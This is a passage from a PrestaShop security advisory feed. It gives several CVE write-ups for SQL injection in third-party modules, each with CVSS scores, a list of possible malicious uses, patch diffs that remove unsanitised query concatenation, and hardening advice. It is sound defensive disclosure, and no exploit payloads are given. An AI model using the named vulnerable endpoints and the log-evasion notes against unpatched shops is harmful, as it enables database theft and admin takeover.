</span><span class="gi">+    $query-&gt;where('`key` = "' . pSQL($apiKey) . '"');
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1.9/modules/boostmyshopagent/webservice/productData.php
</span><span class="gi">+++ XXXXX/modules/boostmyshopagent/webservice/productData.php
</span><span class="gd">-   $shopId = Tools::getValue('shopId') ?: 1;
</span><span class="gi">+   $shopId = (int) Tools::getValue('shopId') ?: 1;
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>boostmyshopagent</strong>.</li>
  <li>You must restrict access to modules/boostmyshopagent/webservice/ to a given whitelist to prevent BLIND SSRF chain exploit</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-11-02</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-11-02</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-11-03</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2023-12-11</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-02-05</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-08</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/comparison-shopping-prestashop/86128-boostmyshop.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-24308">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Boostmyshop” (boostmyshopagent) up to version 1.1.9 from Boostmyshop for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-50026] Improper neutralization of SQL parameter in Presta Monster - Multi Accessories Pro module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/08/hsmultiaccessoriespro.html" rel="alternate" type="text/html" title="[CVE-2023-50026] Improper neutralization of SQL parameter in Presta Monster - Multi Accessories Pro module for PrestaShop" /><published>2024-02-08T00:00:00+00:00</published><updated>2024-02-08T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/08/hsmultiaccessoriespro</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/08/hsmultiaccessoriespro.html"><![CDATA[<p>In the module “Multi Accessories Pro” (hsmultiaccessoriespro) up to version 5.2.0 from Presta Monster for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50026">CVE-2023-50026</a></li>
  <li><strong>Published at</strong>: 2024-02-08</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: hsmultiaccessoriespro</li>
  <li><strong>Impacted release</strong>: &lt;= 5.2.0 (5.3.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Presta Monster</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method HsAccessoriesGroupProductAbstract::getAccessoriesByIdProducts() has a sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-520">Patch from 5.2.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 5.2.0/modules/hsmultiaccessoriespro/abstract/classes/HsAccessoriesGroupAbstract.php
</span><span class="gi">+++ 5.3.0/modules/hsmultiaccessoriespro/abstract/classes/HsAccessoriesGroupAbstract.php
</span><span class="p">@@ -350,6 +350,6 @@</span> class HsAccessoriesGroupAbstract extends ObjectModel
         if (!empty($id_groups)) {
<span class="gd">-            $sql_where[] = 'apg.`id_accessory_group` IN ('.implode(',', $id_groups).')';
</span><span class="gi">+            $sql_where[] = 'apg.`id_accessory_group` IN ('.implode(',', array_map('intval', $id_groups)) . ')';
</span>         }
<span class="gd">-        $sql_where[] = 'apg.`id_product` IN('.implode(',', $id_products).')';
-        $sql_where[] = 'p.`id_product` NOT IN ('.implode(',', $id_products).')';
</span><span class="gi">+        $sql_where[] = 'apg.`id_product` IN('. implode(',', array_map('intval', $id_products)) . ')';
+        $sql_where[] = 'p.`id_product` NOT IN ('. implode(',', array_map('intval', $id_products)) . ')';
</span>         if (!Configuration::get('HSMA_SHOW_NW_VISIBILITY_PRODUCTS')) {
<span class="p">@@ -710,3 +710,3 @@</span> class HsAccessoriesGroupAbstract extends ObjectModel
         }
<span class="gd">-        $sql_where[] = 'apg.`id_product` IN('.implode(',', $id_products).')';
</span><span class="gi">+        $sql_where[] = 'apg.`id_product` IN('. implode(',', array_map('intval', $id_products)) . ')';
</span>         $sql = 'SELECT
</code></pre></div></div>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 5.2.0/modules/hsmultiaccessoriespro/abstract/classes/HsAccessoriesGroupProductAbstract.php
</span><span class="gi">+++ 5.3.0/modules/hsmultiaccessoriespro/abstract/classes/HsAccessoriesGroupProductAbstract.php
</span><span class="p">@@ -285,3 +285,3 @@</span> class HsAccessoriesGroupProductAbstract extends ObjectModel
             $query-&gt;from('accessory_group_product', 'agp');
<span class="gd">-            $query-&gt;where('agp.`id_product` IN (' . implode(',', $id_products) . ')');
</span><span class="gi">+            $query-&gt;where('agp.`id_product` IN (' . implode(',', array_map('intval', $id_products)) . ')');
</span>             $query-&gt;where('ag.`active` = 1');
<span class="p">@@ -477,3 +477,3 @@</span> class HsAccessoriesGroupProductAbstract extends ObjectModel
             $query-&gt;from('customization_field', 'cf');
<span class="gd">-            $query-&gt;where('cf.`id_product` IN (' . implode(',', $id_accessories) . ')');
</span><span class="gi">+            $query-&gt;where('cf.`id_product` IN (' . implode(',', array_map('intval', $id_accessories)) . ')');
</span>             $query-&gt;orderBy('cf.`id_customization_field` ASC');
</code></pre></div></div>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 5.2.0/modules/hsmultiaccessoriespro/abstract/classes/HsMaSearch.php
</span><span class="gi">+++ 5.3.0/modules/hsmultiaccessoriespro/abstract/classes/HsMaSearch.php
</span><span class="p">@@ -73,3 +73,3 @@</span> class HsMaSearch extends Search
             $sql_where = array();
<span class="gd">-            $sql_where[] = 'p.`id_product` IN ('.implode(',', $eligible_products).')';
</span><span class="gi">+            $sql_where[] = 'p.`id_product` IN ('.implode(',', array_map('intval', $eligible_products)) . ')';
</span>             if ($keyword !== null) {
<span class="p">@@ -124,3 +124,3 @@</span> class HsMaSearch extends Search
             $query-&gt;from('category_product', 'cp');
<span class="gd">-            $query-&gt;where(!empty($id_categories) ? 'cp.`id_category` IN ('.implode(',', $id_categories).')' : null);
</span><span class="gi">+            $query-&gt;where(!empty($id_categories) ? 'cp.`id_category` IN ('. implode(',', array_map('intval', $id_categories)) .')' : null);
</span>             $products = Db::getInstance()-&gt;executeS($query);
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>hsmultiaccessoriespro</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-10</td>
      <td>Issue discovered during a code review by <a href="https://ambris.com/">Ambris Informatique</a> and <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-10</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-08-18</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2023-12-12</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-08</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/ventes-croisees-packs-produits/23426-multi-accessories-pro.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-50026">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;Ambris Informatique&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Multi Accessories Pro” (hsmultiaccessoriespro) up to version 5.2.0 from Presta Monster for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-46350] Improper neutralization of SQL parameter in InnovaDeluxe - Manufacturer or supplier alphabetical search module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/08/idxrmanufacturer.html" rel="alternate" type="text/html" title="[CVE-2023-46350] Improper neutralization of SQL parameter in InnovaDeluxe - Manufacturer or supplier alphabetical search module for PrestaShop" /><published>2024-02-08T00:00:00+00:00</published><updated>2024-02-08T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/08/idxrmanufacturer</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/08/idxrmanufacturer.html"><![CDATA[<p>In the module “Manufacturer or supplier alphabetical search” (idxrmanufacturer) up to version 2.0.4 from InnovaDeluxe for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46350">CVE-2023-46350</a></li>
  <li><strong>Published at</strong>: 2024-02-08</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: idxrmanufacturer</li>
  <li><strong>Impacted release</strong>: &lt;= 2.0.4 (2.0.5 fixe the vulnerability)</li>
  <li><strong>Product author</strong>: InnovaDeluxe</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The methods <code class="language-plaintext highlighter-rouge">IdxrmanufacturerFunctions::getCornersLink</code>, <code class="language-plaintext highlighter-rouge">IdxrmanufacturerFunctions::getManufacturersLike</code> and <code class="language-plaintext highlighter-rouge">IdxrmanufacturerFunctions::getSuppliersLike</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-203">Patch from 2.0.3</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.0.3/modules/idxrmanufacturer/classes/module/Functions.php
</span><span class="gi">+++ XXXXX/modules/idxrmanufacturer/classes/module/Functions.php
</span><span class="p">@@ -241,7 +241,7 @@</span> trait IdxrmanufacturerFunctions
         $query-&gt;select('cor.id_corners, corl.link_rewrite ');
         $query-&gt;from('corners', 'cor');
         $query-&gt;innerJoin('corners_lang', 'corl', 'cor.id_corners = corl.id_corners');
<span class="gd">-        $query-&gt;where('m.name like \'%'.Tools::getValue('q').'%\'');
</span><span class="gi">+        $query-&gt;where('m.name like \'%'.pSQL(Tools::getValue('q')).'%\'');
</span>         $query-&gt;where('cor.id_' . $listing . ' = ' . (int) $id);
         $query-&gt;orderBy('m.`name` ASC');
         if ($row = Db::getInstance()-&gt;getRow($query)) {
<span class="p">@@ -270,7 +270,7 @@</span> trait IdxrmanufacturerFunctions
         $query-&gt;from('manufacturer', 'm');
         $query-&gt;join(Shop::addSqlAssociation('manufacturer', 'm'));
         $query-&gt;leftJoin('manufacturer_lang', 'ml', 'm.id_manufacturer = ml.id_manufacturer AND ml.id_lang = ' . (int) $id_lang);
<span class="gd">-        $query-&gt;where('m.name like \'%'.Tools::getValue('q').'%\'');
</span><span class="gi">+        $query-&gt;where('m.name like \'%'.pSQL(Tools::getValue('q')).'%\'');
</span>         $query-&gt;where('m.active = 1');
         $query-&gt;orderBy('m.`name` ASC');
         return Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS($query);
<span class="p">@@ -284,7 +284,7 @@</span> trait IdxrmanufacturerFunctions
         $query-&gt;from('supplier', 's');
         $query-&gt;leftJoin('supplier_lang', 'sl', 's.`id_supplier` = sl.`id_supplier` AND sl.`id_lang` = ' . (int) $id_lang);
         $query-&gt;join(Shop::addSqlAssociation('supplier', 's'));
<span class="gd">-        $query-&gt;where('s.name like \'%'.Tools::getValue('q').'%\'');
</span><span class="gi">+        $query-&gt;where('s.name like \'%'.pSQL(Tools::getValue('q')).'%\'');
</span>         $query-&gt;orderBy('s.`name` ASC');

         return Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS($query);

</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>idxrmanufacturer</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-09-17</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-09-17</td>
      <td>Contact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-09-18</td>
      <td>Author confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-10-12</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-08</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/search-filters/19166-manufacturer-or-supplier-alphabetical-search.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46350">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Manufacturer or supplier alphabetical search” (idxrmanufacturer) up to version 2.0.4 from InnovaDeluxe for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-50061] Improper neutralization of SQL parameter in Opart Easy Redirect for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/08/oparteasyredirect.html" rel="alternate" type="text/html" title="[CVE-2023-50061] Improper neutralization of SQL parameter in Opart Easy Redirect for PrestaShop" /><published>2024-02-08T00:00:00+00:00</published><updated>2024-02-08T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/08/oparteasyredirect</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/08/oparteasyredirect.html"><![CDATA[<p>In the module “Opart Easy Redirect” (oparteasyredirect) up to version 1.3.12 from Opart for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50061">CVE-2023-50061</a></li>
  <li><strong>Published at</strong>: 2024-02-08</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: oparteasyredirect</li>
  <li><strong>Impacted release</strong>: &gt;= 1.3.8 and &lt;= 1.3.12 (1.3.13 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Opart</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">Oparteasyredirect::hookActionDispatcher()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection on PHP 8.0- (so including PHP 7.X / 5.X).</p>

<p>The large scope of URL exposed to the vulnerability increases its severity and the risk that a pattern of URL is in whitelist of a WAF.</p>

<p>WARNING : This vulnerability will bypass some WAF, for this reason, POC is not given.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-1312">Patch from 1.3.12</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.3.12/modules/oparteasyredirect/oparteasyredirect.php
</span><span class="gi">+++ 1.3.13/modules/oparteasyredirect/oparteasyredirect.php
</span><span class="p">@@ -384,3 +384,3 @@</span> class Oparteasyredirect extends Module
                                             INSERT INTO `'._DB_PREFIX_.'pagenotfound` (`request_uri`, `http_referer`, `date_add`, `id_shop`, `id_shop_group`)
<span class="gd">-                        VALUES (\''.htmlentities($request_uri).'\', \''.htmlentities($http_referer).'\', NOW(), '.(int)$this-&gt;context-&gt;shop-&gt;id.', '.(int)$this-&gt;context-&gt;shop-&gt;id_shop_group.')
</span><span class="gi">+                        VALUES (\''.pSQL(htmlentities($request_uri)).'\', \''.pSQL(htmlentities($http_referer)).'\', NOW(), '.(int)$this-&gt;context-&gt;shop-&gt;id.', '.(int)$this-&gt;context-&gt;shop-&gt;id_shop_group.')
</span>                     '
<span class="p">@@ -406,3 +406,3 @@</span> class Oparteasyredirect extends Module
                                         INSERT INTO `'._DB_PREFIX_.'pagenotfound` (`request_uri`, `http_referer`, `date_add`, `id_shop`, `id_shop_group`)
<span class="gd">-                    VALUES (\''.htmlentities($request_uri).'\', \''.htmlentities($http_referer).'\', NOW(), '.(int)$this-&gt;context-&gt;shop-&gt;id.', '.(int)$this-&gt;context-&gt;shop-&gt;id_shop_group.')
</span><span class="gi">+                    VALUES (\''.pSQL(htmlentities($request_uri)).'\', \''.pSQL(htmlentities($http_referer)).'\', NOW(), '.(int)$this-&gt;context-&gt;shop-&gt;id.', '.(int)$this-&gt;context-&gt;shop-&gt;id_shop_group.')
</span>                 '
<span class="p">@@ -427,3 +427,3 @@</span> class Oparteasyredirect extends Module
                                         INSERT INTO `'._DB_PREFIX_.'pagenotfound` (`request_uri`, `http_referer`, `date_add`, `id_shop`, `id_shop_group`)
<span class="gd">-                    VALUES (\''.htmlentities($request_uri).'\', \''.htmlentities($http_referer).'\', NOW(), '.(int)$this-&gt;context-&gt;shop-&gt;id.', '.(int)$this-&gt;context-&gt;shop-&gt;id_shop_group.')
</span><span class="gi">+                    VALUES (\''.pSQL(htmlentities($request_uri)).'\', \''.pSQL(htmlentities($http_referer)).'\', NOW(), '.(int)$this-&gt;context-&gt;shop-&gt;id.', '.(int)$this-&gt;context-&gt;shop-&gt;id_shop_group.')
</span>                 '
<span class="p">@@ -446,3 +446,3 @@</span> class Oparteasyredirect extends Module
                                         INSERT INTO `'._DB_PREFIX_.'pagenotfound` (`request_uri`, `http_referer`, `date_add`, `id_shop`, `id_shop_group`)
<span class="gd">-                    VALUES (\''.htmlentities($request_uri).'\', \''.htmlentities($http_referer).'\', NOW(), '.(int)$this-&gt;context-&gt;shop-&gt;id.', '.(int)$this-&gt;context-&gt;shop-&gt;id_shop_group.')
</span><span class="gi">+                    VALUES (\''.pSQL(htmlentities($request_uri)).'\', \''.pSQL(htmlentities($http_referer)).'\', NOW(), '.(int)$this-&gt;context-&gt;shop-&gt;id.', '.(int)$this-&gt;context-&gt;shop-&gt;id_shop_group.')
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>oparteasyredirect</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-07-20</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-07-20</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-07-20</td>
      <td>Author confirm version scope</td>
    </tr>
    <tr>
      <td>2023-12-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-08</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Opart thanks <a href="https://www.touchweb.fr">TouchWeb</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.store-opart.fr/p/20-sauvegarde-partage-lien-panier.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-50061">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Opart&quot;, &quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Opart Easy Redirect” (oparteasyredirect) up to version 1.3.12 from Opart for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-46914] Improper neutralization of SQL parameter in RM RM - Booking Calendar module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/06/bookingcalendar.html" rel="alternate" type="text/html" title="[CVE-2023-46914] Improper neutralization of SQL parameter in RM RM - Booking Calendar module for PrestaShop" /><published>2024-02-06T00:00:00+00:00</published><updated>2024-02-06T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/06/bookingcalendar</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/06/bookingcalendar.html"><![CDATA[<p>In the module “Booking Calendar” (bookingcalendar) from RM RM for PrestaShop, a guest can perform SQL injection in affected versions if the module is not installed OR if a secret accessible to administrator is stolen.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46914">CVE-2023-46914</a></li>
  <li><strong>Published at</strong>: 2024-02-06</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: bookingcalendar</li>
  <li><strong>Impacted release</strong>: &lt;= 2.7.9 (WARNING : Author discontinue support since years - no fix)</li>
